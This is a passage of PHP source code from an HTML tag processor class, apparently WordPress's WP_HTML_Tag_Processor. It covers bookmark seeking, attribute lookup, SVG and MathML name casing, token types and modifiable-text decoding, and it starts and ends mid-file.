		$this->html = $output_buffer . substr( $this->html, $bytes_already_copied );

		/*
		 * Adjust bookmark locations to account for how the text
		 * replacements adjust offsets in the input document.
		 */
		foreach ( $this->bookmarks as $bookmark_name => $bookmark ) {
			$bookmark_end = $bookmark->start + $bookmark->length;

			/*
			 * Each lexical update which appears before the bookmark's endpoints
			 * might shift the offsets for those endpoints. Loop through each change
			 * and accumulate the total shift for each bookmark, then apply that
			 * shift after tallying the full delta.
			 */
			$head_delta = 0;
			$tail_delta = 0;

			foreach ( $this->lexical_updates as $diff ) {
				$diff_end = $diff->start + $diff->length;

				if ( $bookmark->start < $diff->start && $bookmark_end < $diff->start ) {
					break;
				}

				if ( $bookmark->start >= $diff->start && $bookmark_end < $diff_end ) {
					$this->release_bookmark( $bookmark_name );
					continue 2;
				}

				$delta = strlen( $diff->text ) - $diff->length;

				if ( $bookmark->start >= $diff->start ) {
					$head_delta += $delta;
				}

				if ( $bookmark_end >= $diff_end ) {
					$tail_delta += $delta;
				}
			}

			$bookmark->start  += $head_delta;
			$bookmark->length += $tail_delta - $head_delta;
		}

		$this->lexical_updates = array();

		return $accumulated_shift_for_given_point;
	}

	/**
	 * Checks whether a bookmark with the given name exists.
	 *
	 * @since 6.3.0
	 *
	 * @param string $bookmark_name Name to identify a bookmark that potentially exists.
	 * @return bool Whether that bookmark exists.
	 */
	public function has_bookmark( $bookmark_name ): bool {
		return array_key_exists( $bookmark_name, $this->bookmarks );
	}

	/**
	 * Move the internal cursor in the Tag Processor to a given bookmark's location.
	 *
	 * In order to prevent accidental infinite loops, there's a
	 * maximum limit on the number of times seek() can be called.
	 *
	 * @since 6.2.0
	 *
	 * @param string $bookmark_name Jump to the place in the document identified by this bookmark name.
	 * @return bool Whether the internal cursor was successfully moved to the bookmark's location.
	 */
	public function seek( $bookmark_name ): bool {
		if ( ! array_key_exists( $bookmark_name, $this->bookmarks ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Unknown bookmark name.' ),
				'6.2.0'
			);
			return false;
		}

		$existing_bookmark = $this->bookmarks[ $bookmark_name ];

		if (
			$this->token_starts_at === $existing_bookmark->start &&
			$this->token_length === $existing_bookmark->length
		) {
			return true;
		}

		if ( ++$this->seek_count > static::MAX_SEEK_OPS ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Too many calls to seek() - this can lead to performance issues.' ),
				'6.2.0'
			);
			return false;
		}

		// Flush out any pending updates to the document.
		$this->get_updated_html();

		// Point this tag processor before the sought tag opener and consume it.
		$this->bytes_already_parsed = $this->bookmarks[ $bookmark_name ]->start;
		$this->parser_state         = self::STATE_READY;
		return $this->next_token();
	}

	/**
	 * Compare two WP_HTML_Text_Replacement objects.
	 *
	 * @since 6.2.0
	 *
	 * @param WP_HTML_Text_Replacement $a First attribute update.
	 * @param WP_HTML_Text_Replacement $b Second attribute update.
	 * @return int Comparison value for string order.
	 */
	private static function sort_start_ascending( WP_HTML_Text_Replacement $a, WP_HTML_Text_Replacement $b ): int {
		$by_start = $a->start - $b->start;
		if ( 0 !== $by_start ) {
			return $by_start;
		}

		$by_text = isset( $a->text, $b->text ) ? strcmp( $a->text, $b->text ) : 0;
		if ( 0 !== $by_text ) {
			return $by_text;
		}

		/*
		 * This code should be unreachable, because it implies the two replacements
		 * start at the same location and contain the same text.
		 */
		return $a->length - $b->length;
	}

	/**
	 * Return the enqueued value for a given attribute, if one exists.
	 *
	 * Enqueued updates can take different data types:
	 *  - If an update is enqueued and is boolean, the return will be `true`
	 *  - If an update is otherwise enqueued, the return will be the string value of that update.
	 *  - If an attribute is enqueued to be removed, the return will be `null` to indicate that.
	 *  - If no updates are enqueued, the return will be `false` to differentiate from "removed."
	 *
	 * @since 6.2.0
	 *
	 * @param string $comparable_name The attribute name in its comparable form.
	 * @return string|boolean|null Value of enqueued update if present, otherwise false.
	 */
	private function get_enqueued_attribute_value( string $comparable_name ) {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		if ( ! isset( $this->lexical_updates[ $comparable_name ] ) ) {
			return false;
		}

		$enqueued_text = $this->lexical_updates[ $comparable_name ]->text;

		// Removed attributes erase the entire span.
		if ( '' === $enqueued_text ) {
			return null;
		}

		/*
		 * Boolean attribute updates are just the attribute name without a corresponding value.
		 *
		 * This value might differ from the given comparable name in that there could be leading
		 * or trailing whitespace, and that the casing follows the name given in `set_attribute`.
		 *
		 * Example:
		 *
		 *     $p->set_attribute( 'data-TEST-id', 'update' );
		 *     'update' === $p->get_enqueued_attribute_value( 'data-test-id' );
		 *
		 * Detect this difference based on the absence of the `=`, which _must_ exist in any
		 * attribute containing a value, e.g. `<input type="text" enabled />`.
		 *                                            ¹           ²
		 *                                       1. Attribute with a string value.
		 *                                       2. Boolean attribute whose value is `true`.
		 */
		$equals_at = strpos( $enqueued_text, '=' );
		if ( false === $equals_at ) {
			return true;
		}

		/*
		 * Finally, a normal update's value will appear after the `=` and
		 * be double-quoted, as performed incidentally by `set_attribute`.
		 *
		 * e.g. `type="text"`
		 *           ¹²    ³
		 *        1. Equals is here.
		 *        2. Double-quoting starts one after the equals sign.
		 *        3. Double-quoting ends at the last character in the update.
		 */
		$enqueued_value = substr( $enqueued_text, $equals_at + 2, -1 );
		return WP_HTML_Decoder::decode_attribute( $enqueued_value );
	}

	/**
	 * Returns the value of a requested attribute from a matched tag opener if that attribute exists.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div enabled class="test" data-test-id="14">Test</div>' );
	 *     $p->next_tag( array( 'class_name' => 'test' ) ) === true;
	 *     $p->get_attribute( 'data-test-id' ) === '14';
	 *     $p->get_attribute( 'enabled' ) === true;
	 *     $p->get_attribute( 'aria-label' ) === null;
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute( 'class' ) === null;
	 *
	 * @since 6.2.0
	 *
	 * @param string $name Name of attribute whose value is requested.
	 * @return string|true|null Value of attribute or `null` if not available. Boolean attributes return `true`.
	 */
	public function get_attribute( $name ) {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$comparable = strtolower( $name );

		/*
		 * For every attribute other than `class` it's possible to perform a quick check if
		 * there's an enqueued lexical update whose value takes priority over what's found in
		 * the input document.
		 *
		 * The `class` attribute is special though because of the exposed helpers `add_class`
		 * and `remove_class`. These form a builder for the `class` attribute, so an additional
		 * check for enqueued class changes is required in addition to the check for any enqueued
		 * attribute values. If any exist, those enqueued class changes must first be flushed out
		 * into an attribute value update.
		 */
		if ( 'class' === $name ) {
			$this->class_name_updates_to_attributes_updates();
		}

		// Return any enqueued attribute value updates if they exist.
		$enqueued_value = $this->get_enqueued_attribute_value( $comparable );
		if ( false !== $enqueued_value ) {
			return $enqueued_value;
		}

		if ( ! isset( $this->attributes[ $comparable ] ) ) {
			return null;
		}

		$attribute = $this->attributes[ $comparable ];

		/*
		 * This flag distinguishes an attribute with no value
		 * from an attribute with an empty string value. For
		 * unquoted attributes this could look very similar.
		 * It refers to whether an `=` follows the name.
		 *
		 * e.g. <div boolean-attribute empty-attribute=></div>
		 *           ¹                 ²
		 *        1. Attribute `boolean-attribute` is `true`.
		 *        2. Attribute `empty-attribute` is `""`.
		 */
		if ( true === $attribute->is_true ) {
			return true;
		}

		$raw_value = substr( $this->html, $attribute->value_starts_at, $attribute->value_length );

		return WP_HTML_Decoder::decode_attribute( $raw_value );
	}

	/**
	 * Gets lowercase names of all attributes matching a given prefix in the current tag.
	 *
	 * Note that matching is case-insensitive. This is in accordance with the spec:
	 *
	 * > There must never be two or more attributes on
	 * > the same start tag whose names are an ASCII
	 * > case-insensitive match for each other.
	 *     - HTML 5 spec
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div data-ENABLED class="test" DATA-test-id="14">Test</div>' );
	 *     $p->next_tag( array( 'class_name' => 'test' ) ) === true;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === array( 'data-enabled', 'data-test-id' );
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === null;
	 *
	 * @since 6.2.0
	 *
	 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
	 *
	 * @param string $prefix Prefix of requested attribute names.
	 * @return array|null List of attribute names, or `null` when no tag opener is matched.
	 */
	public function get_attribute_names_with_prefix( $prefix ): ?array {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return null;
		}

		$comparable = strtolower( $prefix );

		$matches = array();
		foreach ( array_keys( $this->attributes ) as $attr_name ) {
			if ( str_starts_with( $attr_name, $comparable ) ) {
				$matches[] = $attr_name;
			}
		}
		return $matches;
	}

	/**
	 * Returns the namespace of the matched token.
	 *
	 * @since 6.7.0
	 *
	 * @return string One of 'html', 'math', or 'svg'.
	 */
	public function get_namespace(): string {
		return $this->parsing_namespace;
	}

	/**
	 * Returns the uppercase name of the matched tag.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div class="test">Test</div>' );
	 *     $p->next_tag() === true;
	 *     $p->get_tag() === 'DIV';
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_tag() === null;
	 *
	 * @since 6.2.0
	 *
	 * @return string|null Name of currently matched tag in input HTML, or `null` if none found.
	 */
	public function get_tag(): ?string {
		if ( null === $this->tag_name_starts_at ) {
			return null;
		}

		$tag_name = substr( $this->html, $this->tag_name_starts_at, $this->tag_name_length );

		if ( self::STATE_MATCHED_TAG === $this->parser_state ) {
			return strtoupper( $tag_name );
		}

		if (
			self::STATE_COMMENT === $this->parser_state &&
			self::COMMENT_AS_PI_NODE_LOOKALIKE === $this->get_comment_type()
		) {
			return $tag_name;
		}

		return null;
	}

	/**
	 * Returns the adjusted tag name for a given token, taking into
	 * account the current parsing context, whether HTML, SVG, or MathML.
	 *
	 * @since 6.7.0
	 *
	 * @return string|null Name of current tag name.
	 */
	public function get_qualified_tag_name(): ?string {
		$tag_name = $this->get_tag();
		if ( null === $tag_name ) {
			return null;
		}

		if ( 'html' === $this->get_namespace() ) {
			return $tag_name;
		}

		$lower_tag_name = strtolower( $tag_name );
		if ( 'math' === $this->get_namespace() ) {
			return $lower_tag_name;
		}

		if ( 'svg' === $this->get_namespace() ) {
			switch ( $lower_tag_name ) {
				case 'altglyph':
					return 'altGlyph';

				case 'altglyphdef':
					return 'altGlyphDef';

				case 'altglyphitem':
					return 'altGlyphItem';

				case 'animatecolor':
					return 'animateColor';

				case 'animatemotion':
					return 'animateMotion';

				case 'animatetransform':
					return 'animateTransform';

				case 'clippath':
					return 'clipPath';

				case 'feblend':
					return 'feBlend';

				case 'fecolormatrix':
					return 'feColorMatrix';

				case 'fecomponenttransfer':
					return 'feComponentTransfer';

				case 'fecomposite':
					return 'feComposite';

				case 'feconvolvematrix':
					return 'feConvolveMatrix';

				case 'fediffuselighting':
					return 'feDiffuseLighting';

				case 'fedisplacementmap':
					return 'feDisplacementMap';

				case 'fedistantlight':
					return 'feDistantLight';

				case 'fedropshadow':
					return 'feDropShadow';

				case 'feflood':
					return 'feFlood';

				case 'fefunca':
					return 'feFuncA';

				case 'fefuncb':
					return 'feFuncB';

				case 'fefuncg':
					return 'feFuncG';

				case 'fefuncr':
					return 'feFuncR';

				case 'fegaussianblur':
					return 'feGaussianBlur';

				case 'feimage':
					return 'feImage';

				case 'femerge':
					return 'feMerge';

				case 'femergenode':
					return 'feMergeNode';

				case 'femorphology':
					return 'feMorphology';

				case 'feoffset':
					return 'feOffset';

				case 'fepointlight':
					return 'fePointLight';

				case 'fespecularlighting':
					return 'feSpecularLighting';

				case 'fespotlight':
					return 'feSpotLight';

				case 'fetile':
					return 'feTile';

				case 'feturbulence':
					return 'feTurbulence';

				case 'foreignobject':
					return 'foreignObject';

				case 'glyphref':
					return 'glyphRef';

				case 'lineargradient':
					return 'linearGradient';

				case 'radialgradient':
					return 'radialGradient';

				case 'textpath':
					return 'textPath';

				default:
					return $lower_tag_name;
			}
		}

		// This unnecessary return prevents tools from inaccurately reporting type errors.
		return $tag_name;
	}

	/**
	 * Returns the adjusted attribute name for a given attribute, taking into
	 * account the current parsing context, whether HTML, SVG, or MathML.
	 *
	 * @since 6.7.0
	 *
	 * @param string $attribute_name Which attribute to adjust.
	 *
	 * @return string|null
	 */
	public function get_qualified_attribute_name( $attribute_name ): ?string {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$namespace  = $this->get_namespace();
		$lower_name = strtolower( $attribute_name );

		if ( 'math' === $namespace && 'definitionurl' === $lower_name ) {
			return 'definitionURL';
		}

		if ( 'svg' === $this->get_namespace() ) {
			switch ( $lower_name ) {
				case 'attributename':
					return 'attributeName';

				case 'attributetype':
					return 'attributeType';

				case 'basefrequency':
					return 'baseFrequency';

				case 'baseprofile':
					return 'baseProfile';

				case 'calcmode':
					return 'calcMode';

				case 'clippathunits':
					return 'clipPathUnits';

				case 'diffuseconstant':
					return 'diffuseConstant';

				case 'edgemode':
					return 'edgeMode';

				case 'filterunits':
					return 'filterUnits';

				case 'glyphref':
					return 'glyphRef';

				case 'gradienttransform':
					return 'gradientTransform';

				case 'gradientunits':
					return 'gradientUnits';

				case 'kernelmatrix':
					return 'kernelMatrix';

				case 'kernelunitlength':
					return 'kernelUnitLength';

				case 'keypoints':
					return 'keyPoints';

				case 'keysplines':
					return 'keySplines';

				case 'keytimes':
					return 'keyTimes';

				case 'lengthadjust':
					return 'lengthAdjust';

				case 'limitingconeangle':
					return 'limitingConeAngle';

				case 'markerheight':
					return 'markerHeight';

				case 'markerunits':
					return 'markerUnits';

				case 'markerwidth':
					return 'markerWidth';

				case 'maskcontentunits':
					return 'maskContentUnits';

				case 'maskunits':
					return 'maskUnits';

				case 'numoctaves':
					return 'numOctaves';

				case 'pathlength':
					return 'pathLength';

				case 'patterncontentunits':
					return 'patternContentUnits';

				case 'patterntransform':
					return 'patternTransform';

				case 'patternunits':
					return 'patternUnits';

				case 'pointsatx':
					return 'pointsAtX';

				case 'pointsaty':
					return 'pointsAtY';

				case 'pointsatz':
					return 'pointsAtZ';

				case 'preservealpha':
					return 'preserveAlpha';

				case 'preserveaspectratio':
					return 'preserveAspectRatio';

				case 'primitiveunits':
					return 'primitiveUnits';

				case 'refx':
					return 'refX';

				case 'refy':
					return 'refY';

				case 'repeatcount':
					return 'repeatCount';

				case 'repeatdur':
					return 'repeatDur';

				case 'requiredextensions':
					return 'requiredExtensions';

				case 'requiredfeatures':
					return 'requiredFeatures';

				case 'specularconstant':
					return 'specularConstant';

				case 'specularexponent':
					return 'specularExponent';

				case 'spreadmethod':
					return 'spreadMethod';

				case 'startoffset':
					return 'startOffset';

				case 'stddeviation':
					return 'stdDeviation';

				case 'stitchtiles':
					return 'stitchTiles';

				case 'surfacescale':
					return 'surfaceScale';

				case 'systemlanguage':
					return 'systemLanguage';

				case 'tablevalues':
					return 'tableValues';

				case 'targetx':
					return 'targetX';

				case 'targety':
					return 'targetY';

				case 'textlength':
					return 'textLength';

				case 'viewbox':
					return 'viewBox';

				case 'viewtarget':
					return 'viewTarget';

				case 'xchannelselector':
					return 'xChannelSelector';

				case 'ychannelselector':
					return 'yChannelSelector';

				case 'zoomandpan':
					return 'zoomAndPan';
			}
		}

		if ( 'html' !== $namespace ) {
			switch ( $lower_name ) {
				case 'xlink:actuate':
					return 'xlink actuate';

				case 'xlink:arcrole':
					return 'xlink arcrole';

				case 'xlink:href':
					return 'xlink href';

				case 'xlink:role':
					return 'xlink role';

				case 'xlink:show':
					return 'xlink show';

				case 'xlink:title':
					return 'xlink title';

				case 'xlink:type':
					return 'xlink type';

				case 'xml:lang':
					return 'xml lang';

				case 'xml:space':
					return 'xml space';

				case 'xmlns':
					return 'xmlns';

				case 'xmlns:xlink':
					return 'xmlns xlink';
			}
		}

		return $attribute_name;
	}

	/**
	 * Indicates if the currently matched tag contains the self-closing flag.
	 *
	 * No HTML elements ought to have the self-closing flag and for those, the self-closing
	 * flag will be ignored. For void elements this is benign because they "self close"
	 * automatically. For non-void HTML elements though problems will appear if someone
	 * intends to use a self-closing element in place of that element with an empty body.
	 * For HTML foreign elements and custom elements the self-closing flag determines if
	 * they self-close or not.
	 *
	 * This function does not determine if a tag is self-closing,
	 * but only if the self-closing flag is present in the syntax.
	 *
	 * @since 6.3.0
	 *
	 * @return bool Whether the currently matched tag contains the self-closing flag.
	 */
	public function has_self_closing_flag(): bool {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		/*
		 * The self-closing flag is the solidus at the _end_ of the tag, not the beginning.
		 *
		 * Example:
		 *
		 *     <figure />
		 *             ^ this appears one character before the end of the closing ">".
		 */
		return '/' === $this->html[ $this->token_starts_at + $this->token_length - 2 ];
	}

	/**
	 * Indicates if the current tag token is a tag closer.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div></div>' );
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === false;
	 *
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === true;
	 *
	 * @since 6.2.0
	 * @since 6.7.0 Reports all BR tags as opening tags.
	 *
	 * @return bool Whether the current tag is a tag closer.
	 */
	public function is_tag_closer(): bool {
		return (
			self::STATE_MATCHED_TAG === $this->parser_state &&
			$this->is_closing_tag &&

			/*
			 * The BR tag can only exist as an opening tag. If something like `</br>`
			 * appears then the HTML parser will treat it as an opening tag with no
			 * attributes. The BR tag is unique in this way.
			 *
			 * @see https://html.spec.whatwg.org/#parsing-main-inbody
			 */
			'BR' !== $this->get_tag()
		);
	}

	/**
	 * Indicates the kind of matched token, if any.
	 *
	 * This differs from `get_token_name()` in that it always
	 * returns a static string indicating the type, whereas
	 * `get_token_name()` may return values derived from the
	 * token itself, such as a tag name or processing
	 * instruction tag.
	 *
	 * Possible values:
	 *  - `#tag` when matched on a tag.
	 *  - `#text` when matched on a text node.
	 *  - `#cdata-section` when matched on a CDATA node.
	 *  - `#comment` when matched on a comment.
	 *  - `#doctype` when matched on a DOCTYPE declaration.
	 *  - `#presumptuous-tag` when matched on an empty tag closer.
	 *  - `#funky-comment` when matched on a funky comment.
	 *
	 * @since 6.5.0
	 *
	 * @return string|null What kind of token is matched, or null.
	 */
	public function get_token_type(): ?string {
		switch ( $this->parser_state ) {
			case self::STATE_MATCHED_TAG:
				return '#tag';

			case self::STATE_DOCTYPE:
				return '#doctype';

			default:
				return $this->get_token_name();
		}
	}

	/**
	 * Returns the node name represented by the token.
	 *
	 * This matches the DOM API value `nodeName`. Some values
	 * are static, such as `#text` for a text node, while others
	 * are dynamically generated from the token itself.
	 *
	 * Dynamic names:
	 *  - Uppercase tag name for tag matches.
	 *  - `html` for DOCTYPE declarations.
	 *
	 * Note that if the Tag Processor is not matched on a token
	 * then this function will return `null`, either because it
	 * hasn't yet found a token or because it reached the end
	 * of the document without matching a token.
	 *
	 * @since 6.5.0
	 *
	 * @return string|null Name of the matched token.
	 */
	public function get_token_name(): ?string {
		switch ( $this->parser_state ) {
			case self::STATE_MATCHED_TAG:
				return $this->get_tag();

			case self::STATE_TEXT_NODE:
				return '#text';

			case self::STATE_CDATA_NODE:
				return '#cdata-section';

			case self::STATE_COMMENT:
				return '#comment';

			case self::STATE_DOCTYPE:
				return 'html';

			case self::STATE_PRESUMPTUOUS_TAG:
				return '#presumptuous-tag';

			case self::STATE_FUNKY_COMMENT:
				return '#funky-comment';
		}

		return null;
	}

	/**
	 * Indicates what kind of comment produced the comment node.
	 *
	 * Because there are different kinds of HTML syntax which produce
	 * comments, the Tag Processor tracks and exposes this as a type
	 * for the comment. Nominally only regular HTML comments exist as
	 * they are commonly known, but a number of unrelated syntax errors
	 * also produce comments.
	 *
	 * @see self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT
	 * @see self::COMMENT_AS_CDATA_LOOKALIKE
	 * @see self::COMMENT_AS_INVALID_HTML
	 * @see self::COMMENT_AS_HTML_COMMENT
	 * @see self::COMMENT_AS_PI_NODE_LOOKALIKE
	 *
	 * @since 6.5.0
	 *
	 * @return string|null
	 */
	public function get_comment_type(): ?string {
		if ( self::STATE_COMMENT !== $this->parser_state ) {
			return null;
		}

		return $this->comment_type;
	}

	/**
	 * Returns the text of a matched comment or null if not on a comment type node.
	 *
	 * This method returns the entire text content of a comment node as it
	 * would appear in the browser.
	 *
	 * This differs from {@see ::get_modifiable_text()} in that certain comment
	 * types in the HTML API cannot allow their entire comment text content to
	 * be modified. Namely, "bogus comments" of the form `<?not allowed in html>`
	 * will create a comment whose text content starts with `?`. Note that if
	 * that character were modified, it would be possible to change the node
	 * type.
	 *
	 * @since 6.7.0
	 *
	 * @return string|null The comment text as it would appear in the browser or null
	 *                     if not on a comment type node.
	 */
	public function get_full_comment_text(): ?string {
		if ( self::STATE_FUNKY_COMMENT === $this->parser_state ) {
			return $this->get_modifiable_text();
		}

		if ( self::STATE_COMMENT !== $this->parser_state ) {
			return null;
		}

		switch ( $this->get_comment_type() ) {
			case self::COMMENT_AS_HTML_COMMENT:
			case self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT:
				return $this->get_modifiable_text();

			case self::COMMENT_AS_CDATA_LOOKALIKE:
				return "[CDATA[{$this->get_modifiable_text()}]]";

			case self::COMMENT_AS_PI_NODE_LOOKALIKE:
				return "?{$this->get_tag()}{$this->get_modifiable_text()}?";

			/*
			 * This represents "bogus comments state" from HTML tokenization.
			 * This can be entered by `<?` or `<!`, where `?` is included in
			 * the comment text but `!` is not.
			 */
			case self::COMMENT_AS_INVALID_HTML:
				$preceding_character = $this->html[ $this->text_starts_at - 1 ];
				$comment_start       = '?' === $preceding_character ? '?' : '';
				return "{$comment_start}{$this->get_modifiable_text()}";
		}

		return null;
	}

	/**
	 * Subdivides a matched text node, splitting NULL byte sequences and decoded whitespace as
	 * distinct nodes prefixes.
	 *
	 * Note that once anything that's neither a NULL byte nor decoded whitespace is
	 * encountered, then the remainder of the text node is left intact as generic text.
	 *
	 *  - The HTML Processor uses this to apply distinct rules for different kinds of text.
	 *  - Inter-element whitespace can be detected and skipped with this method.
	 *
	 * Text nodes aren't eagerly subdivided because there's no need to split them unless
	 * decisions are being made on NULL byte sequences or whitespace-only text.
	 *
	 * Example:
	 *
	 *     $processor = new WP_HTML_Tag_Processor( "\x00Apples & Oranges" );
	 *     true  === $processor->next_token();                   // Text is "Apples & Oranges".
	 *     true  === $processor->subdivide_text_appropriately(); // Text is "".
	 *     true  === $processor->next_token();                   // Text is "Apples & Oranges".
	 *     false === $processor->subdivide_text_appropriately();
	 *
	 *     $processor = new WP_HTML_Tag_Processor( "&#x13; \r\n\tMore" );
	 *     true  === $processor->next_token();                   // Text is "␤ ␤␉More".
	 *     true  === $processor->subdivide_text_appropriately(); // Text is "␤ ␤␉".
	 *     true  === $processor->next_token();                   // Text is "More".
	 *     false === $processor->subdivide_text_appropriately();
	 *
	 * @since 6.7.0
	 *
	 * @return bool Whether the text node was subdivided.
	 */
	public function subdivide_text_appropriately(): bool {
		if ( self::STATE_TEXT_NODE !== $this->parser_state ) {
			return false;
		}

		$this->text_node_classification = self::TEXT_IS_GENERIC;

		/*
		 * NULL bytes are treated categorically different than numeric character
		 * references whose number is zero. `&#x00;` is not the same as `"\x00"`.
		 */
		$leading_nulls = strspn( $this->html, "\x00", $this->text_starts_at, $this->text_length );
		if ( $leading_nulls > 0 ) {
			$this->token_length             = $leading_nulls;
			$this->text_length              = $leading_nulls;
			$this->bytes_already_parsed     = $this->token_starts_at + $leading_nulls;
			$this->text_node_classification = self::TEXT_IS_NULL_SEQUENCE;
			return true;
		}

		/*
		 * Start a decoding loop to determine the point at which the
		 * text subdivides. This entails raw whitespace bytes and any
		 * character reference that decodes to the same.
		 */
		$at  = $this->text_starts_at;
		$end = $this->text_starts_at + $this->text_length;
		while ( $at < $end ) {
			$skipped = strspn( $this->html, " \t\f\r\n", $at, $end - $at );
			$at     += $skipped;

			if ( $at < $end && '&' === $this->html[ $at ] ) {
				$matched_byte_length = null;
				$replacement         = WP_HTML_Decoder::read_character_reference( 'data', $this->html, $at, $matched_byte_length );
				if ( isset( $replacement ) && 1 === strspn( $replacement, " \t\f\r\n" ) ) {
					$at += $matched_byte_length;
					continue;
				}
			}

			break;
		}

		if ( $at > $this->text_starts_at ) {
			$new_length                     = $at - $this->text_starts_at;
			$this->text_length              = $new_length;
			$this->token_length             = $new_length;
			$this->bytes_already_parsed     = $at;
			$this->text_node_classification = self::TEXT_IS_WHITESPACE;
			return true;
		}

		return false;
	}

	/**
	 * Returns the modifiable text for a matched token, or an empty string.
	 *
	 * Modifiable text is text content that may be read and changed without
	 * changing the HTML structure of the document around it. This includes
	 * the contents of `#text` nodes in the HTML as well as the inner
	 * contents of HTML comments, Processing Instructions, and others, even
	 * though these nodes aren't part of a parsed DOM tree. They also contain
	 * the contents of SCRIPT and STYLE tags, of TEXTAREA tags, and of any
	 * other section in an HTML document which cannot contain HTML markup (DATA).
	 *
	 * If a token has no modifiable text then an empty string is returned to
	 * avoid needless crashing or type errors. An empty string does not mean
	 * that a token has modifiable text, and a token with modifiable text may
	 * have an empty string (e.g. a comment with no contents).
	 *
	 * Limitations:
	 *
	 *  - This function will not strip the leading newline appropriately
	 *    after seeking into a LISTING or PRE element. To ensure that the
	 *    newline is treated properly, seek to the LISTING or PRE opening
	 *    tag instead of to the first text node inside the element.
	 *
	 * @since 6.5.0
	 * @since 6.7.0 Replaces NULL bytes (U+0000) and newlines appropriately.
	 *
	 * @return string
	 */
	public function get_modifiable_text(): string {
		$has_enqueued_update = isset( $this->lexical_updates['modifiable text'] );

		if ( ! $has_enqueued_update && ( null === $this->text_starts_at || 0 === $this->text_length ) ) {
			return '';
		}

		$text = $has_enqueued_update
			? $this->lexical_updates['modifiable text']->text
			: substr( $this->html, $this->text_starts_at, $this->text_length );

		/*
		 * Pre-processing the input stream would normally happen before
		 * any parsing is done, but deferring it means it's possible to
		 * skip in most cases. When getting the modifiable text, however
		 * it's important to apply the pre-processing steps, which is
		 * normalizing newlines.
		 *
		 * @see https://html.spec.whatwg.org/#preprocessing-the-input-stream
		 * @see https://infra.spec.whatwg.org/#normalize-newlines
		 */
		$text = str_replace( "\r\n", "\n", $text );
		$text = str_replace( "\r", "\n", $text );

		// Comment data is not decoded.
		if (
			self::STATE_CDATA_NODE === $this->parser_state ||
			self::STATE_COMMENT === $this->parser_state ||
			self::STATE_DOCTYPE === $this->parser_state ||
			self::STATE_FUNKY_COMMENT === $this->parser_state
		) {
			return str_replace( "\x00", "\u{FFFD}", $text );
		}

		$tag_name = $this->get_token_name();
		if (
			// Script data is not decoded.
			'SCRIPT' === $tag_name ||

			// RAWTEXT data is not decoded.
			'IFRAME' === $tag_name ||
			'NOEMBED' === $tag_name ||
			'NOFRAMES' === $tag_name ||
			'STYLE' === $tag_name ||
			'XMP' === $tag_name
		) {
			return str_replace( "\x00", "\u{FFFD}", $text );
		}

		$decoded = WP_HTML_Decoder::decode_text_node( $text );

		/*
		 * Skip the first line feed after LISTING, PRE, and TEXTAREA opening tags.
		 *
		 * Note that this first newline may come in the form of a character
		 * reference, such as `&#x0a;`, and so it's important to perform
		 * this transformation only after decoding the raw text content.
		 */
		if (
			( "\n" === ( $decoded[0] ?? '' ) ) &&
			( ( $this->skip_newline_at === $this->token_starts_at && '#text' === $tag_name ) || 'TEXTAREA' === $tag_name )
		) {
			$decoded = substr( $decoded, 1 );
		}

		/*
		 * Only in normative text nodes does the NULL byte (U+0000) get removed.
		 * In all other contexts it's replaced by the replacement character (U+FFFD)
		 * for security reasons (to avoid joining together strings that were safe
		 * when separated, but not when joined).
		 *
		 * @todo Inside HTML integration points and MathML integration points, the
		 *       text is processed according to the insertion mode, not according
		 *       to the foreign content rules. This should strip the NULL bytes.
		 */
		return ( '#text' === $tag_name && 'html' === $this->get_namespace() )
			? str_replace( "\x00", '', $decoded )
			: str_replace( "\x00", "\u{FFFD}", $decoded );
	}

	/**
	 * Sets the modifiable text for the matched token, if matched.
	 *
	 * Modifiable text is text content that may be read and changed without
	 * changing the HTML structure of the document around it. This includes
	 * the contents of `#text` nodes in the HTML as well as the inner
	 * contents of HTML comments, Processing Instructions, and others, even
	 * though these nodes aren't part of a parsed DOM tree. They also contain
	 * the contents of SCRIPT and STYLE tags, of TEXTAREA tags, and of any
	 * other section in an HTML document which cannot contain HTML markup (DATA).
	 *
	 * Not all modifiable text may be set by this method, and not all content
	 * may be set as modifiable text. In the case that this fails it will return
	 * `false` indicating as much. For instance, it will not allow inserting the
	 * string `</script` into a SCRIPT element, because the rules for escaping
	 * that safely are complicated. Similarly, it will not allow setting content
	 * into a comment which would prematurely terminate the comment.
	 *
	 * Example:
	 *
	 *     // Add a preface to all STYLE contents.
	 *     while ( $processor->next_tag( 'STYLE' ) ) {
	 *         $style = $processor->get_modifiable_text();
	 *         $processor->set_modifiable_text( "// Made with love on the World Wide Web\n{$style}" );
	 *     }
	 *
	 *     // Replace smiley text with Emoji smilies.
	 *     while ( $processor->next_token() ) {
	 *         if ( '#text' !== $processor->get_token_name() ) {
	 *             continue;
	 *         }
	 *
	 *         $chunk = $processor->get_modifiable_text();
	 *         if ( ! str_contains( $chunk, ':)' ) ) {
	 *             continue;
	 *         }
	 *
	 *         $processor->set_modifiable_text( str_replace( ':)', '🙂', $chunk ) );
	 *     }
	 *
	 * This function handles all necessary HTML encoding. Provide normal, unescaped string values.
	 * The HTML API will encode the strings appropriately so that the browser will interpret them
	 * as the intended value.
	 *
	 * Example:
	 *
